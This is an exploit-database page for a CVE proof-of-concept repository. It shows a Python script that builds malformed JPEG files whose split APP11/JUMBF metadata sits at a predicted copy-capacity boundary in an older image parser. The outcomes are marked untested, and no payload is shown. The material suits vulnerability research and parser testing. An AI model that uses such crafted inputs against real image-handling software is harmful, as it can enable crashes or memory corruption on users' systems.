Exploit databaseDownload repository ZIP
GH-945bd5267b0d1b94c3f74faf5cda7e5a
blkph0x/cve-2026-83844_poc
Sources for CVE-2026-83844
5 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
blkph0x/cve-2026-83844_pocRevision 193ed44859da
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/corpus/provenance_app11_boundary/build_boundary_fixtures.py
Python · 5,149 bytes#!/usr/bin/env python3
"""Build small three-APP11 probes at the old parser's copy-capacity boundary."""
from __future__ import annotations
import argparse
import hashlib
import json
import struct
from pathlib import Path
HERE = Path(__file__).resolve().parent
SOURCE = HERE.parent / "third_party/c2pa_org_adobe_20220124_C.jpg"
SOURCE_SHA256 = "75a8da33f6eaf1e16bf3b42cd78913b22b2e6a671fda217a508b1ba4230ce864"
OUT = HERE / "generated"
APP11_START = 0x14
APP11_END = 0xC7CE
JUMBF_START = 0x20
FIRST_CHUNK = 1024
THIRD_CHUNK = 32
EXTENDED_JUMBF_SIZE = 0xC7B6
SECOND_CHUNK = EXTENDED_JUMBF_SIZE - FIRST_CHUNK - THIRD_CHUNK
PREFIX_TWO_CHUNKS = FIRST_CHUNK + SECOND_CHUNK
# The prior signed old-build two-segment trace sampled a continuation copy
# eight bytes shorter than the physical second JUMBF chunk. These candidate
# boundaries therefore target the *predicted copied prefix*, subject to
# verification by the repeated-read profile in this corpus's protocol.
PREDICTED_COPIED_BEFORE_THIRD = PREFIX_TWO_CHUNKS - 8
CASES = (
("before_third_minus1", PREDICTED_COPIED_BEFORE_THIRD - 1),
("before_third_exact", PREDICTED_COPIED_BEFORE_THIRD),
("before_third_plus1", PREDICTED_COPIED_BEFORE_THIRD + 1),
("full_content_control", EXTENDED_JUMBF_SIZE),
)
def sha256(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def source_bytes() -> bytes:
data = SOURCE.read_bytes()
if sha256(data) != SOURCE_SHA256 or \
data[APP11_START:JUMBF_START] != bytes.fromhex("ffebc7b84a50021100000001") or \
data[JUMBF_START:JUMBF_START + 8] != b"\x00\x00\xc7\xaejumb" or \
APP11_START + 2 + int.from_bytes(data[0x16:0x18], "big") != APP11_END:
raise ValueError("Pinned public JPEG APP11 layout differs")
return data
def app11_segment(jp_header: bytes, sequence: int, body: bytes) -> bytes:
length = 2 + 4 + 4 + len(body)
if not 10 <= length <= 0xFFFF:
raise ValueError("APP11 segment exceeds 16-bit JPEG length")
return b"\xff\xeb" + struct.pack(">H", length) + jp_header + struct.pack(">I", sequence) + body
def fixture(source: bytes, xlbox: int) -> bytes:
old_jumbf = source[JUMBF_START:APP11_END]
extended = struct.pack(">I", 1) + b"jumb" + struct.pack(">Q", xlbox) + old_jumbf[8:]
if len(extended) != EXTENDED_JUMBF_SIZE or SECOND_CHUNK <= 0:
raise ValueError("Extended JUMBF geometry differs")
chunks = (
extended[:FIRST_CHUNK],
extended[FIRST_CHUNK:FIRST_CHUNK + SECOND_CHUNK],
extended[FIRST_CHUNK + SECOND_CHUNK:],
)
if [len(chunk) for chunk in chunks] != [FIRST_CHUNK, SECOND_CHUNK, THIRD_CHUNK]:
raise ValueError("Three-chunk split differs")
jp_header = source[0x18:0x1C]
segments = b"".join(app11_segment(jp_header, n, chunk)
for n, chunk in enumerate(chunks, start=1))
return source[:APP11_START] + segments + source[APP11_END:]
def main() -> None:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--check", action="store_true", help="compare existing outputs without writing")
args = parser.parse_args()
source = source_bytes()
rows = []
for case_id, xlbox in CASES:
data = fixture(source, xlbox)
if len(data) != len(source) + 32 or len(data) > 141_000:
raise ValueError("Fixture exceeds size bound")
filename = f"app11_boundary_{case_id}.jpg"
path = OUT / filename
if args.check:
if not path.is_file() or path.read_bytes() != data:
raise ValueError(f"Pinned fixture differs: {case_id}")
else:
OUT.mkdir(parents=True, exist_ok=True)
path.write_bytes(data)
rows.append({
"id": case_id,
"file": filename,
"bytes": len(data),
"sha256": sha256(data),
"outer_xlbox": xlbox,
"declared_relative_to_predicted_copied_prefix":
xlbox - PREDICTED_COPIED_BEFORE_THIRD,
"paint_outcome": "not_tested",
})
manifest = {
"schema": "paint-provenance-app11-boundary-v1",
"source_file": SOURCE.name,
"source_sha256": SOURCE_SHA256,
"source_license": "CC-BY-SA-4.0",
"app11_sequence_indices": [1, 2, 3],
"jumbf_chunk_bytes": [FIRST_CHUNK, SECOND_CHUNK, THIRD_CHUNK],
"first_two_chunks_bytes": PREFIX_TWO_CHUNKS,
"predicted_copied_before_third_bytes": PREDICTED_COPIED_BEFORE_THIRD,
"prediction_basis": "prior first continuation read was eight bytes shorter than physical second chunk; not a full three-segment measurement",
"cases": rows,
}
output = json.dumps(manifest, indent=2) + "\n"
manifest_path = OUT / "manifest.json"
if args.check:
if not manifest_path.is_file() or manifest_path.read_text(encoding="utf-8") != output:
raise ValueError("Pinned manifest differs")
else:
manifest_path.write_text(output, encoding="utf-8")
print(f"{'Verified' if args.check else 'Built'} {len(rows)} three-APP11 boundary fixtures")
if __name__ == "__main__":
main()